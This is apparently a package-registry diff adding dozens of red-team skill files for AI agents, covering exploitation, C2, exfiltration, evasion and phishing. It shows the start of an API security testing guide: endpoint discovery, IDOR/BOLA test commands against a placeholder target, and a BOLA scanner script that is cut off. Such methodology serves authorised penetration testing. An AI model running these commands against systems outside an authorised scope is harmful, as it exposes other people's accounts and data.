rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1547 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-api
|
|
3
|
+
description: "API security testing skill covering REST APIs and GraphQL. REST: BOLA/IDOR, mass assignment, rate limit bypass, HTTP method confusion, CORS misconfiguration. GraphQL: introspection abuse, batching attacks, field suggestions for schema recovery without introspection, query depth DoS. Tools: graphw00f, clairvoyance, Burp Suite."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-api — API Security Testing Skill
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
Modern applications expose vast attack surfaces through REST and GraphQL APIs. Unlike traditional web vulnerabilities, API flaws often bypass WAFs and application-level controls because they abuse legitimate business logic rather than injecting malicious payloads.
|
|
11
|
+
|
|
12
|
+
This skill covers two primary API paradigms:
|
|
13
|
+
|
|
14
|
+
**REST APIs** — stateless HTTP endpoints that operate on resources. Attack surface includes broken object-level authorization (BOLA/IDOR), mass assignment, rate limit bypass, HTTP method confusion, and CORS misconfiguration.
|
|
15
|
+
|
|
16
|
+
**GraphQL APIs** — query language over a single endpoint. Attack surface includes introspection abuse, batching attacks (rate limit bypass), field suggestion exploitation for schema recovery, query depth/complexity DoS, and alias flooding.
|
|
17
|
+
|
|
18
|
+
### Threat Model
|
|
19
|
+
|
|
20
|
+
| Attack Class | REST | GraphQL | OWASP API Top 10 |
|
|
21
|
+
|---|---|---|---|
|
|
22
|
+
| BOLA/IDOR | Yes | Yes | API1:2023 |
|
|
23
|
+
| Mass Assignment | Yes | Partial | API6:2023 |
|
|
24
|
+
| Rate Limit Bypass | Yes | Yes (batching) | API4:2023 |
|
|
25
|
+
| Schema Exposure | N/A | Yes | API8:2023 |
|
|
26
|
+
| Resource Exhaustion | Yes | Yes (depth DoS) | API4:2023 |
|
|
27
|
+
| CORS Misconfiguration | Yes | Yes | API7:2023 |
|
|
28
|
+
|
|
29
|
+
### Prerequisites
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
# Install core tools
|
|
33
|
+
pip install graphw00f clairvoyance requests
|
|
34
|
+
npm install -g @escape.tech/graphql-armor-cli
|
|
35
|
+
apt-get install -y ffuf feroxbuster nuclei
|
|
36
|
+
|
|
37
|
+
# Clone useful wordlists
|
|
38
|
+
git clone https://github.com/danielmiessler/SecLists /opt/SecLists
|
|
39
|
+
git clone https://github.com/assetnote/kiterunner /opt/kiterunner
|
|
40
|
+
|
|
41
|
+
# Python dependencies for custom scripts
|
|
42
|
+
pip install gql requests httpx aiohttp tqdm colorama
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## 2. Skill Levels
|
|
48
|
+
|
|
49
|
+
### BEGINNER
|
|
50
|
+
|
|
51
|
+
Goals: Enumerate endpoints, test basic BOLA with sequential IDs, check introspection, identify obvious misconfigurations.
|
|
52
|
+
|
|
53
|
+
**Tools:** curl, Burp Suite Community, ffuf
|
|
54
|
+
|
|
55
|
+
**Expected duration:** 1–2 hours per target
|
|
56
|
+
|
|
57
|
+
**Key techniques:**
|
|
58
|
+
- Manual endpoint enumeration
|
|
59
|
+
- Sequential ID BOLA testing
|
|
60
|
+
- Basic introspection query
|
|
61
|
+
- Default credential testing
|
|
62
|
+
|
|
63
|
+
### INTERMEDIATE
|
|
64
|
+
|
|
65
|
+
Goals: Automated BOLA across all endpoints, mass assignment probing, CORS testing, GraphQL schema recovery.
|
|
66
|
+
|
|
67
|
+
**Tools:** ffuf, nuclei, kiterunner, graphw00f, clairvoyance, custom Python scripts
|
|
68
|
+
|
|
69
|
+
**Expected duration:** 2–4 hours per target
|
|
70
|
+
|
|
71
|
+
**Key techniques:**
|
|
72
|
+
- Kiterunner API route brute-force
|
|
73
|
+
- Mass assignment via parameter pollution
|
|
74
|
+
- Clairvoyance field suggestion harvesting
|
|
75
|
+
- Rate limit fingerprinting
|
|
76
|
+
|
|
77
|
+
### ADVANCED
|
|
78
|
+
|
|
79
|
+
Goals: Business logic BOLA (non-sequential IDs), batching attacks for rate limit bypass, WAF bypass, chained vulnerabilities.
|
|
80
|
+
|
|
81
|
+
**Tools:** All intermediate tools + Burp Suite Pro, turbo intruder, custom GraphQL clients
|
|
82
|
+
|
|
83
|
+
**Expected duration:** 4–8 hours per target
|
|
84
|
+
|
|
85
|
+
**Key techniques:**
|
|
86
|
+
- UUID/GUID BOLA via reference leakage
|
|
87
|
+
- GraphQL alias batching for rate limit bypass
|
|
88
|
+
- HTTP method override for access control bypass
|
|
89
|
+
- JWT algorithm confusion to escalate privileges
|
|
90
|
+
|
|
91
|
+
### EXPERT
|
|
92
|
+
|
|
93
|
+
Goals: Zero-day logic flaws, novel GraphQL attack patterns, supply chain API abuse, automated exploitation pipelines.
|
|
94
|
+
|
|
95
|
+
**Tools:** Full custom toolchain, proprietary wordlists, AST-level GraphQL analysis
|
|
96
|
+
|
|
97
|
+
**Expected duration:** Days per target
|
|
98
|
+
|
|
99
|
+
**Key techniques:**
|
|
100
|
+
- Custom SDL reconstruction from field suggestions
|
|
101
|
+
- Batching + BOLA chaining for account takeover
|
|
102
|
+
- Subscription abuse for persistent data exfiltration
|
|
103
|
+
- Federation/gateway bypass attacks
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## 3. Step-by-Step Attack Workflow
|
|
108
|
+
|
|
109
|
+
### Phase 1: Reconnaissance and Discovery
|
|
110
|
+
|
|
111
|
+
#### Step 1.1 — Identify API type and version
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
# Fingerprint the API framework
|
|
115
|
+
curl -si https://target.com/api/v1/ | grep -i "x-powered-by\|server\|x-api-version"
|
|
116
|
+
|
|
117
|
+
# Common API discovery paths
|
|
118
|
+
for path in /api /api/v1 /api/v2 /v1 /v2 /graphql /gql /query /playground; do
|
|
119
|
+
curl -so /dev/null -w "%{http_code} $path\n" https://target.com$path
|
|
120
|
+
done
|
|
121
|
+
|
|
122
|
+
# Check OpenAPI/Swagger documentation exposure
|
|
123
|
+
curl -si https://target.com/swagger.json
|
|
124
|
+
curl -si https://target.com/openapi.json
|
|
125
|
+
curl -si https://target.com/api/swagger
|
|
126
|
+
curl -si https://target.com/api-docs
|
|
127
|
+
curl -si https://target.com/docs/api
|
|
128
|
+
curl -si https://target.com/.well-known/openapi
|
|
129
|
+
|
|
130
|
+
# Check for API versioning patterns
|
|
131
|
+
curl -si https://target.com/api/v3/users
|
|
132
|
+
curl -si https://target.com/api/v3/users -H "API-Version: 2"
|
|
133
|
+
curl -si https://target.com/api/v3/users -H "Accept: application/vnd.api+json;version=2"
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
#### Step 1.2 — Route discovery with Kiterunner
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
# Download compiled kiterunner
|
|
140
|
+
wget https://github.com/assetnote/kiterunner/releases/download/v1.0.2/kr-1.0.2-linux-amd64.tar.gz
|
|
141
|
+
tar xf kr-1.0.2-linux-amd64.tar.gz
|
|
142
|
+
|
|
143
|
+
# Scan with built-in wordlists (fastest)
|
|
144
|
+
./kr scan https://target.com/api -w routes-large.kite -x 20 --fail-status-codes 404,429 -o kr-results.txt
|
|
145
|
+
|
|
146
|
+
# Scan with SecLists
|
|
147
|
+
./kr brute https://target.com/api -w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
|
|
148
|
+
-x 20 --fail-status-codes 404 -H "Authorization: Bearer YOUR_JWT"
|
|
149
|
+
|
|
150
|
+
# Replay interesting findings with full headers
|
|
151
|
+
./kr kb replay -w routes-large.kite "GET 200 [ 1234ms] https://target.com/api/v2/admin/users 0"
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
#### Step 1.3 — ffuf endpoint discovery
|
|
155
|
+
|
|
156
|
+
```bash
|
|
157
|
+
# Horizontal discovery — find new resource types
|
|
158
|
+
ffuf -u https://target.com/api/v1/FUZZ \
|
|
159
|
+
-w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
|
|
160
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
161
|
+
-mc 200,201,204,400,403 \
|
|
162
|
+
-o ffuf-endpoints.json -of json \
|
|
163
|
+
-t 50 -rate 100
|
|
164
|
+
|
|
165
|
+
# Vertical discovery — find sub-resources
|
|
166
|
+
ffuf -u https://target.com/api/v1/users/1/FUZZ \
|
|
167
|
+
-w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
|
|
168
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
169
|
+
-mc 200,201,204,400,403 \
|
|
170
|
+
-t 20
|
|
171
|
+
|
|
172
|
+
# ID fuzzing — numeric BOLA discovery
|
|
173
|
+
ffuf -u https://target.com/api/v1/users/FUZZ \
|
|
174
|
+
-w <(seq 1 1000 | tr '\n' '\n') \
|
|
175
|
+
-H "Authorization: Bearer VICTIM_JWT" \
|
|
176
|
+
-mc 200 -t 10
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
#### Step 1.4 — GraphQL detection with graphw00f
|
|
180
|
+
|
|
181
|
+
```bash
|
|
182
|
+
# Install graphw00f
|
|
183
|
+
pip install graphw00f
|
|
184
|
+
|
|
185
|
+
# Detect GraphQL engine and version
|
|
186
|
+
graphw00f -d -t https://target.com/graphql
|
|
187
|
+
graphw00f -d -t https://target.com/api/graphql
|
|
188
|
+
graphw00f -d -t https://target.com/gql
|
|
189
|
+
|
|
190
|
+
# Fingerprint — critical for tailoring DoS payloads and bypass techniques
|
|
191
|
+
# graphw00f identifies: Apollo, Hasura, GraphQL-Go, Strawberry, Ariadne, etc.
|
|
192
|
+
# Output example:
|
|
193
|
+
# [*] Checking https://target.com/graphql
|
|
194
|
+
# [!] Found GraphQL at https://target.com/graphql
|
|
195
|
+
# [*] Fingerprinting...
|
|
196
|
+
# [+] GraphQL Engine: Apollo Server (2.x)
|
|
197
|
+
# [*] Malicious query complexity supported: True
|
|
198
|
+
# [*] Introspection: Enabled
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
### Phase 2: REST API — BOLA / IDOR
|
|
204
|
+
|
|
205
|
+
#### Step 2.1 — Sequential ID BOLA (BEGINNER)
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Capture your own resource ID as user A
|
|
209
|
+
# Login as user A, note your user ID (e.g., 42)
|
|
210
|
+
# Login as user B, attempt to access user A's resources
|
|
211
|
+
|
|
212
|
+
USER_A_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
|
|
213
|
+
USER_B_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
|
|
214
|
+
USER_A_ID=42
|
|
215
|
+
|
|
216
|
+
# Test direct object reference
|
|
217
|
+
curl -s https://target.com/api/v1/users/$USER_A_ID \
|
|
218
|
+
-H "Authorization: Bearer $USER_B_TOKEN" | jq .
|
|
219
|
+
|
|
220
|
+
# Test nested resources
|
|
221
|
+
curl -s https://target.com/api/v1/users/$USER_A_ID/profile \
|
|
222
|
+
-H "Authorization: Bearer $USER_B_TOKEN" | jq .
|
|
223
|
+
curl -s https://target.com/api/v1/users/$USER_A_ID/orders \
|
|
224
|
+
-H "Authorization: Bearer $USER_B_TOKEN" | jq .
|
|
225
|
+
curl -s https://target.com/api/v1/users/$USER_A_ID/invoices \
|
|
226
|
+
-H "Authorization: Bearer $USER_B_TOKEN" | jq .
|
|
227
|
+
curl -s https://target.com/api/v1/users/$USER_A_ID/payment-methods \
|
|
228
|
+
-H "Authorization: Bearer $USER_B_TOKEN" | jq .
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
#### Step 2.2 — Automated BOLA scan across multiple IDs (INTERMEDIATE)
|
|
232
|
+
|
|
233
|
+
```python
|
|
234
|
+
#!/usr/bin/env python3
|
|
235
|
+
# bola_scanner.py — automated BOLA across integer ID ranges
|
|
236
|
+
|
|
237
|
+
import requests
|
|
238
|
+
import json
|
|
239
|
+
from concurrent.futures import ThreadPoolExecutor
|
|
240
|
+
from tqdm import tqdm
|
|
241
|
+
|
|
242
|
+
TARGET_BASE = "https://target.com/api/v1"
|
|
243
|
+
ATTACKER_TOKEN = "Bearer YOUR_JWT_HERE"
|
|
244
|
+
ENDPOINTS = [
|
|
245
|
+
"/users/{id}",
|
|
246
|
+
"/users/{id}/profile",
|
|
247
|
+
"/users/{id}/orders",
|
|
248
|
+
"/users/{id}/invoices",
|
|
249
|
+
"/orders/{id}",
|
|
250
|
+
"/invoices/{id}",
|
|
251
|
+
"/documents/{id}",
|
|
252
|
+
"/payments/{id}",
|
|
253
|
+
"/reports/{id}",
|
|
254
|
+
]
|
|
255
|
+
ID_RANGE = range(1, 2000)
|
|
256
|
+
